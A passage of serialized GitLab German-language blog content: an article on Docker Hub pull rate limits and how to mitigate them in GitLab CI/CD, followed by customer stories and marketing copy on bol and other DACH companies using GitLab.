Ratenbegrenzungen für Docker Hub auf GitLab CI/CD haben","Erfahre, wie sich die bevorstehenden Ratenbegrenzungen für Pulls von Docker Hub auf GitLab-Pipelines auswirken und was du tun kannst, um Störungen zu vermeiden.",[901],"Tim Rizzi","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662488/Blog/Hero%20Images/blog-image-template-1800x945__3_.png","2025-03-24","Am 1. April 2025 hat Docker neue [Ratenbegrenzungen für Pulls](https://docs.docker.com/docker-hub/usage/) für Docker Hub eingeführt, die sich erheblich auf CI/CD-Pipelines in der gesamten Branche auswirken können, einschließlich derer, die auf GitLab ausgeführt werden. Die gravierendste Änderung ist die Begrenzung auf 10 Pulls pro Stunde für nicht angemeldete Benutzer(innen).\n\n> **12x kürzere Bereitstellungszeit: Dank GitLabs vollständiger Integration lebt Hilti Effizienz.** GitLab bringt vollständige Transparenz, eine umfassende Codeverwaltung und umfangreiche Sicherheitsscans mit, um Hilti neue Softwarefähigkeiten zu ermöglichen. Erfahre, wie Hilti seine Softwareentwicklung revolutioniert hat. **[Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/hilti/)**\n\n## Was ändert sich?\n\nAb dem 1. April 2025 hat Docker die folgenden Ratenbegrenzungen für Pulls durchgesetzt:\n\n| Benutzertyp | Ratenbegrenzung für Pulls pro Stunde | Anzahl der öffentlichen Repositories | Anzahl der privaten Repositories |\n|-----------|--------------------------|-------------------------------|--------------------------------|\n| Business, Team, Pro (authentifiziert) | Unbegrenzt (angemessene Nutzung) | Unbegrenzt | Unbegrenzt |\n| Persönlich (authentifiziert) | 100 | Unbegrenzt | Maximal 1 |\n| Nicht angemeldete Benutzer(innen) | 10 pro IPv4-Adresse oder IPv6/64-Subnetz | Nicht zutreffend | Nicht zutreffend |\n\n\u003Cp>\u003C/p>\nDies ist besonders wichtig, weil:\n\n* Der Abhängigkeits-Proxy von GitLab pullt derzeit als nicht angemeldeter Benutzer von Docker Hub.\n* Die meisten CI/CD-Pipelines, die den Abhängigkeits-Proxy nicht verwenden, pullen als nicht angemeldete Benutzer direkt von Docker Hub.\n* Auf gehosteten Runnern für GitLab.com kann es vorkommen, dass sich mehrere Benutzer(innen) die gleiche IP-Adresse oder das gleiche Subnetz teilen. Somit unterliegen sie gemeinsam dieser Begrenzung.\n\n## Wie sich dies auf GitLab-Benutzer(innen) auswirkt\n\n**Auswirkungen auf direkte Pulls von Docker Hub**\n\nWenn deine CI/CD-Pipelines Images direkt und ohne Authentifizierung von Docker Hub pullen, ist die Anzahl auf 10 Pulls pro Stunde und IP-Adresse begrenzt. Bei Pipelines, die häufig oder projektübergreifend mit derselben Runner-Infrastruktur ausgeführt werden, wird dieser Grenzwert schnell erreicht und es kommt zu Pipeline-Fehlern.\n\n**Auswirkungen auf den Abhängigkeits-Proxy von GitLab**\n\nMit dem Abhängigkeits-Proxy von GitLab kannst du Docker-Images in GitLab zwischenspeichern, um Pipelines zu beschleunigen und externe Abhängigkeiten zu reduzieren. Die aktuelle Implementierung pullt allerdings als nicht angemeldeter Benutzer von Docker Hub. Das bedeutet, dass auch hier der Grenzwert von 10 Pulls pro Stunde gilt.\n\n**Auswirkungen auf gehostete Runner**\n\nGehostete Runner auf GitLab.com verwenden den [Pull-Through-Cache von Google Cloud](https://cloud.google.com/artifact-registry/docs/pull-cached-dockerhub-images?hl=de). Dieser spiegelt häufig gepullte Images, sodass Ratenbegrenzungen vermieden werden. Images von Jobs, die in deiner `.gitlab-ci.yml`-Datei als `image:` oder `services:` definiert sind, sind von Ratenbegrenzungen nicht betroffen.\n\nEtwas schwieriger wird es, wenn Images innerhalb der Runner-Umgebung gepullt werden. Der häufigste Anwendungsfall für das Pullen von Images während der Laufzeit eines Runners ist die Erstellung eines Images mit Docker-in-Docker oder Kaniko. In diesem Szenario wird das in deiner `Dockerfile` definierte Docker-Hub-Image direkt aus dem Docker Hub gepullt und ist wahrscheinlich von den Ratenbegrenzungen betroffen.\n\n## Wie GitLab reagiert\n\nWir arbeiten aktiv an Lösungen, um diese Herausforderungen zu bewältigen:\n\n* **Authentifizierung des Abhängigkeits-Proxy:** Wir haben die Unterstützung für die Docker-Hub-Authentifizierung im [GitLab-Abhängigkeits-Proxy](https://gitlab.com/gitlab-org/gitlab/-/issues/331741) hinzugefügt. Dadurch kann der Abhängigkeits-Proxy Images als angemeldeter Benutzer von Docker Hub pullen, wodurch die Grenzwerte erheblich erhöht werden.\n* **Aktualisierung der Dokumentation:** Wir haben unsere [Dokumentation (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials) aktualisiert. Sie stellt jetzt eine klare Anleitung zur Konfiguration der Pipeline-Authentifizierung für Docker Hub zur Verfügung.\n* **Vorbereitung der internen Infrastruktur:** Wir bereiten unsere interne Infrastruktur vor, um die Auswirkungen auf gehostete Runner für GitLab.com zu minimieren.\n\n## So kannst du dich vorbereiten\n\n**Option 1: Konfiguriere die Docker-Hub-Authentifizierung in deinen Pipelines**\n\nFür Pipelines, die direkt von Docker Hub pullen, kannst du die Authentifizierung so konfigurieren, dass deine Ratenbegrenzung auf 100 Pulls pro Stunde erhöht wird (mit einem kostenpflichtigen Docker-Hub-Abo ist sie sogar unbegrenzt).\n\nFüge die Docker-Hub-Anmeldedaten zu den CI/CD-Variablen deines Projekts oder deiner Gruppe hinzu (nicht in deiner `.gitlab-ci.yml`-Datei). Ausführliche Anweisungen zur korrekten Einrichtung der CI/CD-Variable `DOCKER_AUTH_CONFIG` findest du in unserer [Dokumentation zur Verwendung von Docker-Images (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ci/docker/using_docker_images/#use-statically-defined-credentials).\n\n**Option 2: Verwende die GitLab-Container-Registry**\n\nDu kannst deine häufig verwendeten Docker-Images in deine [GitLab-Container-Registry (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/packages/container_registry/) übertragen. So musst du während der CI/CD-Ausführung nicht mehr von Docker Hub pullen:\n\n1. Pulle das Image von Docker Hub.\n2. Kennzeichne es für deine GitLab-Container-Registry.\n3. Pushe es in deine GitLab-Container-Registry.\n4. Aktualisiere deine Pipelines, dass sie das Image von der GitLab-Container-Registry abrufen.\n\n```shell\ndocker pull busybox:latest\ndocker tag busybox:latest $CI_REGISTRY_IMAGE/busybox:latest\ndocker push $CI_REGISTRY_IMAGE/busybox:latest\n```\n\nIn deiner `.gitlab-ci.yml`-Datei fügst du dann folgende Zeile hinzu:\n\n`image: $CI_REGISTRY_IMAGE/busybox:latest`\n\n**Option 3: Verwende den GitLab-Abhängigkeits-Proxy**\n\nMit dem Abhängigkeits-Proxy von GitLab kannst du Docker-Images zwischenspeichern und übertragen. Dies reduziert externe Abhängigkeiten und somit Probleme mit der Ratenbegrenzung.\n\nAktuelle Authentifizierungsoptionen:\n* GitLab 17.10: Konfiguriere die Docker-Hub-Authentifizierung für den Abhängigkeits-Proxy mit der [GraphQL API (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials-using-the-graphql-api)\n* GitLab 17.11: Verwende die neue UI-basierte Konfiguration in den Einstellungen deiner Gruppe (bereits auf GitLab.com verfügbar)\n\nSobald die Authentifizierung ordnungsgemäß konfiguriert ist, kannst du Folgendes tun:\n\n1. Konfiguriere die Docker-Hub-Anmeldeinformationen in den Einstellungen des Abhängigkeits-Proxys deiner Gruppe:\n  - Für GitLab 17.11+ (oder die aktuelle Version von GitLab.com): Navigiere zu den Einstellungen deiner Gruppe > Pakete und Registries > Abhängigkeits-Proxy.\n  - Für GitLab 17.10: Verwende die GraphQL-API, um die Authentifizierung zu konfigurieren.\n2. Aktualisiere deine Pipelines, sodass sie die Dependency-Proxy-URLs in deiner CI/CD-Konfiguration verwenden:\n`image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/busybox:latest`\n\n**Option 4: Überlege dir, ein kostenpflichtiges Docker-Hub-Abonnement abzuschließen**\n\nUnternehmen, die Docker Hub intensiv nutzen, ist das Upgrade auf ein kostenpflichtiges Docker-Abonnement (Team oder Business) möglicherweise die einfachste Lösung, da es unbegrenzt viele Pulls ermöglicht.\n\n## Best Practices zur Reduzierung der Auswirkungen der Docker-Hub-Ratenbegrenzung\n\nUnabhängig davon, welche Option du wählst, helfen dir diese Best Practices dabei, die Auswirkungen der Docker-Hub-Ratenbegrenzung zu minimieren:\n\n* Verwende eindeutige Image-Tags anstelle von `latest`, um unnötige Pulls zu vermeiden.\n* Konsolidiere deine Docker-Dateien, sodass sie projektübergreifend dieselben Basis-Images verwenden.\n* Plane weniger kritische Pipelines so, dass sie außerhalb der Stoßzeiten ausgeführt werden.\n* Verwende Caching effektiv, um zu vermeiden, dass dieselben Images wiederholt gepullt werden.\n\n**Hinweis:** Gemäß der [Dokumentation](https://docs.docker.com/docker-hub/usage/pulls/#pull-definition) von Docker Hub wird der Counter für die Anzahl der Pulls erhöht, wenn das Image-Manifest gepullt wird, und nicht basierend auf der Image-Größe oder der Anzahl der Ebenen.\n\n## Zeitplan und nächste Schritte\n\n**Jetzt**\n  * Implementiere die Authentifizierung für direkte Pulls von Docker Hub.\n  * Als Benutzer(in) von GitLab.com kannst du die Docker-Hub-Authentifizierung für den Abhängigkeits-Proxy bereits konfigurieren, indem du entweder:\n    * die GraphQL-API oder\n    * die Benutzeroberfläche in den Gruppeneinstellungen verwendest\n  * Benutzer(innen) von GitLab Self-Managed 17.10 können die Abhängigkeits-Proxy-Authentifizierung über die GraphQL-API konfigurieren.\n\n**1. April 2025**\n  * Die Ratenbegrenzungen für Docker Hub treten in Kraft.\n\n**17. April 2025**\n  * GitLab 17.11 wird mit UI-basierter Unterstützung für die Authentifizierung des Abhängigkeits-Proxy für Self-Managed-Instanzen veröffentlicht.\nDu solltest rechtzeitig vor Ablauf der Frist am 1. April Maßnahmen ergreifen, um unerwartete Pipeline-Fehler zu vermeiden. Für die meisten Benutzer(innen) ist die Konfiguration des Abhängigkeits-Proxys mit der Docker-Hub-Authentifizierung die effizienteste Langzeitlösung.\n\n> Hast du Fragen oder benötigst du Hilfe bei der Implementierung? Sieh dir [dieses Ticket an](https://gitlab.com/gitlab-org/gitlab/-/issues/526605), wo unser Team aktiv Unterstützung bietet.",[89,721,823],"2025-04-21",{"slug":908,"featured":13,"template":796},"prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd",{"category":685,"slug":683,"posts":910},[911,924,935],{"content":912,"config":922},{"title":913,"description":914,"authors":915,"heroImage":917,"date":918,"category":683,"tags":919,"updatedDate":918,"body":921},"Wachsende Compliance-Anforderungen meistern: bol setzt auf GitLab","Wie bol mit GitLab-Compliance-Automatisierung DSGVO, ISO und den EU AI Act erfüllt – ohne Entwicklungsgeschwindigkeit einzubüßen.",[916],"Julie Griffin","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665465/Blog/Hero%20Images/blog-image-template-1800x945__15_.png","2026-03-16",[89,758,920,823],"customers","[Bol](https://www.bol.com/nl/nl/) ist einer der größten Online-Händler der Niederlande und Belgiens – mit 38 Millionen Produkten und 50.000 Marketplace-Partnern, die ihre Waren über die Plattform verkaufen. Das Unternehmen setzt auf [GitLab Ultimate](https://about.gitlab.com/de-de/pricing/ultimate/), um Entwicklungsgeschwindigkeit, Compliance-Anforderungen und das Vertrauen seiner Kundenbasis in Einklang zu bringen.\n\nBol stattet seine Teams mit der [GitLab DevSecOps-Plattform](https://about.gitlab.com/de-de/platform/) aus – und spart dabei mehrere tausend manuelle Entwicklerstunden pro Monat bei Compliance-Prüfungen ein.\n\n  > **[Wie deutsche Unternehmen ihr gesamtes Compliance-Management automatisieren können, erklären zwei Solutions-Architektinnen aus dem deutschen Team in diesem Beitrag](https://about.gitlab.com/de-de/blog/automated-compliance-management/).**\n\n***\"GitLab hilft uns, handlungsfähig zu bleiben, während wir wachsen – und während die Anforderungen wachsen, die unsere Software und unsere Entwickler(innen) erfüllen müssen\"***, sagt Guus Houtzager, Engineering Manager im CI/CD-Team von bol. \"Das war unsere größte Herausforderung, und wir haben sie mit GitLab gelöst.\"\n\nMit wachsendem Umsatz stiegen auch die regulatorischen Anforderungen. Bol muss seine Software kontinuierlich anpassen, um strenge und häufig aktualisierte Vorschriften zu erfüllen: die Datenschutz-Grundverordnung (DSGVO), ISO-Anforderungen und den EU AI Act. Nach der Einführung der GitLab Community Edition 2016 und des Upgrades auf GitLab Premium einige Jahre später wechselte bol 2024 auf GitLab Ultimate, um der wachsenden Compliance-Last zu begegnen und Projekte schneller und effizienter abzuwickeln.\n\n![Guus Houtzager von bol – Zitat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675638/Blog/Content%20Images/bol_Blog_-_Guus.png){altText=\"Zitat von Guus Houtzager, Engineering Manager bei bol\"}\n\n\n## Mehrere tausend Entwicklerstunden pro Monat eingespart\n\nGitLab ermöglicht es bols DevSecOps-Teams, Richtlinien einzurichten, die Compliance-Konfigurationen und -Prüfungen automatisieren. Das schafft Konsistenz und Skalierbarkeit in den Compliance-Bemühungen des Unternehmens und reduziert das Risiko menschlicher Fehler. Mit automatisierten Compliance-Vorgaben kann sich das Team von 850 Entwickler(inne)n auf die Erstellung sicherer Software konzentrieren.\n\n\"Wir haben GitLab Ultimate eingeführt, um verbindliche Compliance-Pipelines zu haben, die sicherstellen, dass unsere Teams von Anfang an innerhalb der Compliance-Vorschriften arbeiten\", sagt Houtzager.\n\n\"Das hat unseren Entwickler(inne)n insgesamt mehrere tausend Stunden pro Monat eingespart\", so Houtzager weiter.\n\nDas Team ist heute in der Lage, neue regulatorische Anforderungen proaktiv zu bewältigen.\n\n\"Wir wissen, dass GitLab uns bei Compliance und Softwaresicherheit unterstützen wird\", sagt Houtzager. \"Selbst wenn neue Vorschriften kommen, haben wir durch GitLab ein Werkzeugset, das uns in die Lage versetzt, jede neue Regulierung einzuhalten. Wir wissen nicht genau, was kommen wird – aber wir wissen, dass wir in der Position sind, damit umzugehen.\"\"\n\n\n## Security nach links verschieben – Kundendaten und Geschäft schützen\n\nAls einer der größten Akteure im europäischen Online-Handel ist Vertrauen ein zentraler Pfeiler des Geschäftsmodells von bol. Das Unternehmen verarbeitet große Mengen personenbezogener Daten – Adressen, Bestelldetails, Zahlungsinformationen. Regulatorische Bußgelder sind dabei eine Sorge, der Vertrauensverlust beim Kundenstamm eine größere.\n\n\"Die meisten Menschen in den Niederlanden und Belgien haben schon einmal bei uns gekauft, und sie vertrauen uns\", sagt Houtzager. \"Sie vertrauen darauf, dass wir ihre Zahlungsdaten ordnungsgemäß verwalten. Wir verkaufen keine personenbezogenen Daten, und sie vertrauen uns, diese sicher zu halten.\"\n\nUm Kundendaten zu schützen, hat bol die [Security nach links verschoben](https://about.gitlab.com/de-de/blog/devsecops-shift-left-guide/) – Entwickler(innen) finden Fehler und Schwachstellen früher im Entwicklungsprozess. Ohne die richtigen Werkzeuge kann dieser Ansatz jedoch neue Belastungen schaffen.\n\n\"Wenn man Security nach links verschiebt, ohne den Teams gleichzeitig die Werkzeuge, den Support und die Prozesse bereitzustellen, versanden Teams entweder in Verfahren oder in manueller Arbeit\", sagt Houtzager.\n\nMit GitLab Ultimate hat bol das Berechtigungsmodell so eingerichtet, dass es die Sicherheitsanforderungen des Unternehmens erfüllt – Entwickler(innen) können schnell bauen und ausliefern, während Kunden- und Geschäftsdaten geschützt bleiben. Änderungen und Korrekturen werden automatisch in Compliance-Aufzeichnungen festgehalten.\n\n> Wie du **Compliance-Standards** für dein Unternehmen in der DACH-Region identifizierst und einhältst, [erfährst du in diesem Beitrag.](https://about.gitlab.com/de-de/blog/compliance-standards/)\n\n\n## KI als nächster Schritt\n\nDer EU AI Act ist seit August 2024 in Kraft und wird schrittweise verbindlich – für Anbieter und Nutzer von KI-Systemen gleichermaßen. Bol plant, künftig weitere GitLab-Ultimate-Funktionen einzusetzen, darunter KI-Fähigkeiten und erweiterte Sicherheitsfunktionen.\n\n\"Die Voraussetzungen müssen stimmen, bevor wir es einsetzen können – aber dann werden wir uns definitiv anschauen, wie es uns helfen kann\", sagt Houtzager. \"Wir schauen, wie alle anderen auch, wo KI uns dabei helfen kann, Situationen über den gesamten Lebenszyklus der Softwareentwicklung hinweg zu verbessern. Wenn jemand Code entwickelt – wie kann KI helfen? Wenn jemand an anderen Aspekten des Prozesses arbeitet – wie kann KI helfen?\"\n\n> Weitere europäische Kundenstorys gibt es auf der [GitLab-Kundenseite](https://about.gitlab.com/de-de/customers/). Ein deutsches Praxisbeispiel zur Compliance-Automatisierung liefert die [Deutsche Bahn Kundenstory](https://about.gitlab.com/de-de/customers/deutsche-bahn-ag/).\n\n[GitLab Ultimate kostenlos testen](https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/blog/online-retailer-bol-tackles-growing-compliance-needs-with-gitlab)\n",{"slug":923,"featured":645,"template":796},"online-retailer-bol-tackles-growing-compliance-needs-with-gitlab",{"content":925,"config":933},{"date":918,"authors":926,"tags":928,"category":683,"title":929,"description":930,"body":931,"heroImage":932},[927],"GitLab Germany Team",[920],"GitLab-Erfahrungen: Wie Unternehmen aus dem DACH-Markt GitLab in der Praxis einsetzen"," Erfahre mehr über positive Erfahrungen, die Unternehmen mit GitLab in der Praxis machen.","Wer nach Erfahrungen mit [DevOps-Plattformen](https://about.gitlab.com/de-de/) sucht, will meist mehr als eine reine Produktbeschreibung. Entscheidend ist die Frage, wie sich die Software im Unternehmensalltag bewährt: Welche Stärken zeigt die Plattform in der Praxis, wo liegen mögliche Herausforderungen – und welche konkreten Ergebnisse erzielen Teams damit? \n\nGenau hier lohnt sich der Blick auf reale Einsatzszenarien von GitLab. Denn die Erfahrungen von Unternehmen aus Deutschland, Österreich und der Schweiz zeigen, wie GitLab genutzt wird, um Toolchains zu konsolidieren, CI/CD zu beschleunigen, Sicherheit frühzeitig in die Entwicklung einzubinden und Releases effizienter zu steuern. \n\nIn diesem Beitrag werfen wir deshalb nicht nur einen Blick auf Funktionen und Einsatzfelder, sondern vor allem auf die Frage, welchen konkreten Nutzen GitLab in der Praxis stiften kann.\n\n## Was ist GitLab?\n\nGitLab ist eine DevSecOps-Plattform, mit der Unternehmen den gesamten Lebenszyklus der Softwareentwicklung in einer zentralen Umgebung abbilden können. Dazu gehören unter anderem Quellcodeverwaltung, Zusammenarbeit im Team, automatisierte Tests, Deployments sowie Sicherheits- und Compliance-Prüfungen.\n\nGitLab bündelt Funktionen, für die oft mehrere Einzeltools im Einsatz sind, in einer integrierten Plattform. Dazu zählen: \n\n* Versionskontrolle auf Basis von Git\n* [CI/CD-Pipelines](https://about.gitlab.com/de-de/solutions/continuous-integration/)\n* [Code Reviews](https://about.gitlab.com/de-de/solutions/software-compliance/)\n* [Projektmanagement](https://about.gitlab.com/de-de/solutions/source-code-management/)\n* [Security-Scans](https://about.gitlab.com/de-de/solutions/application-security-testing/)\n* [Monitoring](https://about.gitlab.com/de-de/solutions/analytics-and-insights/)\n\n**Der entscheidende Vorteil:** GitLab bringt Entwicklung, Sicherheit und Betrieb an einem Ort zusammen. So lassen sich Prozesse enger verzahnen, Medienbrüche in der Toolchain reduzieren und Abläufe über den gesamten Entwicklungszyklus hinweg einheitlicher steuern. Vor allem für Unternehmen, die ihre Tool-Landschaft konsolidieren, Prozesse standardisieren und mehr Kontrolle über Entwicklung und Deployment gewinnen möchten, ist das ein wesentlicher Vorteil.\n\n## Welche Erfahrungen machen Unternehmen mit GitLab in der Praxis?\n\nDie Stärken und Schwächen einer Software zeigen sich vor allem in der aktiven Nutzung im Unternehmensalltag. Folgende Stärken und Schwächen von GitLab sehen Unternehmen in der praktischen Arbeit mit dem Tool. \n\n### Positive Erfahrungen mit GitLab\n\n* **Intelligente Orchestrierung über den gesamten Softwareentwicklungs-Lebenszyklus:** Zu den häufigsten positiven GitLab Erfahrungen zählt, dass zentrale Funktionen wie Versionskontrolle, CI/CD, Security und Zusammenarbeit in einer Plattform gebündelt sind. Das reduziert Medienbrüche in der Toolchain und schafft konsistentere Prozesse über den gesamten Entwicklungszyklus hinweg.\n\n\n* **Weniger Reibung im Arbeitsalltag:** Wenn Planung, Entwicklung, Sicherheit und Deployment in einer Umgebung zusammenlaufen, müssen Teams seltener zwischen verschiedenen Tools wechseln. Das spart Zeit, vereinfacht Abstimmungen und erhöht die Effizienz im Arbeitsalltag.\n\n\n* **Native CI/CD:** Viele Unternehmen bewerten positiv, dass Builds, Tests und Deployments direkt in bestehende Workflows integriert werden können. Gerade dort, wo Releases beschleunigt und manuelle Schritte reduziert werden sollen, zeigt sich dieser Vorteil besonders deutlich.\n\n\n* **Mehr Transparenz und Kontrolle:** GitLab führt Informationen aus Planung, Code, Sicherheit, Compliance, Tests und Bereitstellung in einem gemeinsamen Kontext zusammen. Das verbessert die Transparenz und erleichtert es, Abhängigkeiten und Prozesse über den gesamten Entwicklungszyklus hinweg nachzuvollziehen.\n\n\n* **Security & Compliance:** Sicherheitsprüfungen lassen sich frühzeitig in den Entwicklungsprozess integrieren, statt erst kurz vor dem Release. Für Unternehmen mit hohen Anforderungen an Governance, Compliance und Risikominimierung ist das ein wesentlicher Pluspunkt.\n\n\n* **Bessere Teamarbeit:** Wenn Code, Pipelines, Sicherheitsprüfungen und Abstimmungen an einem Ort gebündelt sind, werden Prozesse für Teams nachvollziehbarer. Das erleichtert die Zusammenarbeit vor allem in Organisationen, in denen mehrere Rollen und Abteilungen eng zusammenarbeiten.\n\n\n* **Self-Hosting und Kontrolle:** Für viele Unternehmen ist wichtig, dass sie mehr Kontrolle über Infrastruktur, Daten und Prozesse behalten können. Das ist besonders dann relevant, wenn Datenschutz, interne Richtlinien oder individuelle Betriebsanforderungen eine große Rolle spielen.\n\n\n* **Flexible Bereitstellungsoptionen:** GitLab lässt sich je nach Bedarf unterschiedlich betreiben, etwa selbst gehostet oder als SaaS-Lösung. Das schafft Flexibilität für Unternehmen, die regulatorische Vorgaben erfüllen oder ihre Infrastrukturstrategie gezielt steuern möchten.\n\n\n* **Integrationen mit Docker, Kubernetes und anderen Tools:** GitLab lässt sich gut in moderne Entwicklungs- und Cloud-Umgebungen einbinden. Das ist vor allem für Unternehmen interessant, die auf Containerisierung und skalierbare Deployment-Prozesse setzen.\n\n### Wo Teams bei GitLab Herausforderungen sehen\n\n* **Komplexere Benutzeroberfläche:** Der große Funktionsumfang ist ein klarer Vorteil, kann GitLab im Alltag aber auch komplex wirken lassen. Vor allem neue Nutzer(innen) sollten etwas mehr Einarbeitungszeit einplanen.\n\n\n* **Steilere Lernkurve:** Weil GitLab viele Bereiche des Software-Lebenszyklus abdeckt, ist die Einarbeitung meist anspruchsvoller als bei fokussierten Einzeltools. Wer GitLab meistert, arbeitet mit einer dedizierten Plattform, die den gesamten Softwareentwicklungs-Lebenszyklus orchestriert und Einzellösungen ablöst.\n\n\n* **Kleinere Community als GitHub:** Im Vergleich zu GitHub wird GitLab oft als weniger stark community-getrieben wahrgenommen, da GitHub historisch die größte Open-Source-Community bündelt. Gleichzeitig nutzen mehr als 50 Millionen registrierte Nutzer(innen) GitLab und tragen zur Weiterentwicklung der Plattform bei. \n* **Je nach Setup höherer Einführungsaufwand:** Die Einführung von GitLab ist häufig nicht nur technisch, sondern auch organisatorisch anspruchsvoll. Vor allem dann, wenn bestehende Prozesse, Rollen und Tools angepasst werden müssen, steigt der Aufwand für Einführung und Change Management.\n\n### Wann GitLab besonders stark ist\n\nBesonders positive GitLab Erfahrungen machen Unternehmen meist dann, wenn sie nicht nur ein Tool für Quellcodeverwaltung suchen, sondern ihre Entwicklungs-, Sicherheits- und Betriebsprozesse enger zusammenführen möchten. Vor allem für Organisationen, die ihre Tool-Landschaft konsolidieren, Prozesse standardisieren und mehr Kontrolle über CI/CD, Security und Deployment gewinnen wollen, spielt GitLab seine Stärken in der Praxis aus.\n\n## GitLab-Erfahrungen aus der Praxis: Einsatzmöglichkeiten bei deutschen Unternehmen\n\nWie sich GitLab im Unternehmensalltag bewährt, zeigt sich besonders gut in den Case Studies aus Deutschland und der DACH-Region. Die Beispiele machen deutlich, wie Unternehmen GitLab nutzen, um ihre Tool-Landschaft zu konsolidieren, Entwicklungsprozesse zu beschleunigen und Sicherheit sowie Zusammenarbeit enger in den Entwicklungsprozess einzubinden. \n\n### *All-in-One-Plattform und Toolchain-Konsolidierung – Beispiel Hilti*\n\nHilti setzt GitLab ein, um zentrale Entwicklungs- und Sicherheitsprozesse in einer Plattform zu bündeln – von SCM über CI/CD bis hin zu Security und Integrationen. Gerade für Unternehmen mit gewachsenen Tool-Landschaften ist das ein wichtiger Vorteil. Weniger Einzellösungen bedeuten weniger Übergaben, weniger Reibung und ein konsistenterer Entwicklungsprozess.\n\n**Positive GitLab-Erfahrungen von Hilti:**\n\n* 400 % mehr Code Reviews\n* 50 % kürzere Feedbackschleifen\n* 12x kürzere Bereitstellungszeit\n\n*\"GitLab ist wie eine Suite gebündelt und wird mit einem sehr ausgeklügelten Installationsprogramm ausgeliefert. Und dann funktioniert es einfach wie von Zauberhand. Das ist sehr schön, wenn man ein Unternehmen ist, das einfach nur alles zum Laufen bringen möchte.\"*\n\n\\- Daniel Widerin, Head of Software Delivery, Hilti\n\n*[Erfahre mehr zu den GitLab-Erfahrungen von Hilti in der Kundenstory](https://about.gitlab.com/de-de/customers/hilti/)*\n\n### *Softwareentwicklung und Kollaboration im großen Maßstab – Beispiel Deutsche Bahn*\n\nBei der Deutschen Bahn bildet GitLab die technologische Grundlage für die Entwicklung und den Betrieb zentraler digitaler Produkte. Vor allem in großen Organisationen kommt es darauf an, Zusammenarbeit, Standardisierung und Transparenz über viele Teams hinweg zu ermöglichen. Genau hier spielt GitLab seine Stärken aus.\n\n**Positive GitLab-Erfahrungen der Deutschen Bahn:**\n\n* 10-20 % Infrastrukturkosteneinsparungen\n* 1 Million Pipeline-Builds pro Monat\n* 80 % weniger Zeitaufwand für Pipeline-Wartung\n\n*\"Wir haben unsere primäre digitale Plattform – die Schnittstelle für Millionen unserer Kunden – von Grund auf mit GitLab aufgebaut. Diese Software ist entscheidend für unseren Erfolg, daher ist GitLab es auch.\"*\n\n\\- Lukas Pradel, Software Engineer, Deutsche Bahn\n\n*[Erfahre mehr zu den GitLab-Erfahrungen der Deutschen Bahn in der Kundenstory](https://about.gitlab.com/de-de/customers/deutsche-bahn-ag/)*\n\n### *CI/CD und Automatisierung – Beispiel Siemens*\n\nSiemens nutzt GitLab, um CI/CD-Prozesse im großen Maßstab zu automatisieren und unternehmensweit auszurollen. Wenn Build- und Deployment-Prozesse in hoher Frequenz laufen, braucht es skalierbare und verlässliche Abläufe. GitLab schafft dafür die Grundlage und unterstützt gleichzeitig eine stärkere DevOps-Kultur.\n\n**Positive GitLab-Erfahrungen von Siemens:**\n\n* über 40.000 GitLab-Benutzer(innen)\n* über 6,4 Millionen Builds pro Monat\n\n*\"Wir bemühen uns sehr, eine Open-Source-Kultur einzuführen, und bisher waren wir wirklich erfolgreich. Mit CI/CD haben wir jeden Monat 1,5 Millionen Builds erstellt. Die ganze Kultur hat sich völlig verändert.\"*\n\n\\- Fabio Huser, Softwarearchitekt bei Siemens Smart Infrastructure, Siemens\n\n*[Erfahre mehr zu den GitLab-Erfahrungen von Siemens in der Kundenstory](https://about.gitlab.com/de-de/customers/siemens/)*\n\n### *Schnellere Releases und kürzere Time-to-Market – Beispiel Deutsche Telekom*\n\nDie Deutsche Telekom nutzt GitLab, um Entwicklungs-, Sicherheits- und Release-Prozesse effizienter miteinander zu verzahnen. Für Unternehmen mit komplexen Release-Strukturen ist das besonders wertvoll: Prozesse werden beschleunigt, Abstimmungen vereinfacht und die Zeit bis zur Auslieferung neuer Funktionen sinkt deutlich.\n\n**Positive GitLab-Erfahrungen der Deutschen Telekom:**\n\n* 6x schnellere Markteinführung\n* 13.000 aktive GitLab-Benutzer(innen)\n\n*\"Die Markteinführungszeit war für uns ein wichtiges Thema. Vor unserer Transformation zu Agile und DevOps dauerten unsere Release-Zyklen in einigen Fällen fast 18 Monate. Wir konnten diese drastisch auf etwa 3 Monate reduzieren.\"*\n\n\\- Thorsten Bastian, Business Owner IT, CI/CD-Hub, Telekom IT\n\n*[Erfahre mehr zu den GitLab-Erfahrungen der Deutschen Telekom in der Kundenstory](https://about.gitlab.com/de-de/customers/deutsche-telekom/)*\n\n### *Sicherheit und Compliance – Beispiel Connect-i*\n\nConnect-i setzt GitLab ein, um Sicherheitsprüfungen, Zugriffskontrollen und Compliance-Anforderungen direkt in die Entwicklungsprozesse zu integrieren. Gerade für Unternehmen mit hohen Anforderungen an Nachvollziehbarkeit und Sicherheit ist es entscheidend, dass Compliance nicht nachgelagert, sondern fest in den Entwicklungsalltag eingebunden ist.\n\n**Positive GitLab-Erfahrungen von Connect-i:**\n\n* 30 % weniger Kosten\n* 2 Stunden Zeitersparnis pro Entwickler(in) und Tag\n* 30–40 % schnellere Entwicklung und Bereitstellung\n\n*\"Die Qualität unserer Software hat sich erheblich verbessert. Da wir alles – das Programmieren, die Tickets, CI/CD und Tests – an einem Ort haben, konnten wir unsere Arbeit um 30 % bis 40 % beschleunigen.\"*\n\n\\- Axel Minck, CEO, Connect-i\n\n*[Erfahre mehr zu den GitLab-Erfahrungen von Connect-i in der Kundenstory](https://about.gitlab.com/de-de/customers/connect-i/)*\n\n## Weitere Unternehmen mit ausgezeichneter GitLab-Erfahrung\n\nNeben den ausführlichen Beispielen aus dem DACH-Markt lohnt sich auch der Blick auf weitere internationale Case Studies, die zusätzliche Einsatzfelder von GitLab zeigen.\n\n| **Unternehmen** | **Branche** | **GitLab- Anwendungsfall** | **GitLab-Nutzen** |\n| ----- | ----- | ----- | ----- |\n| 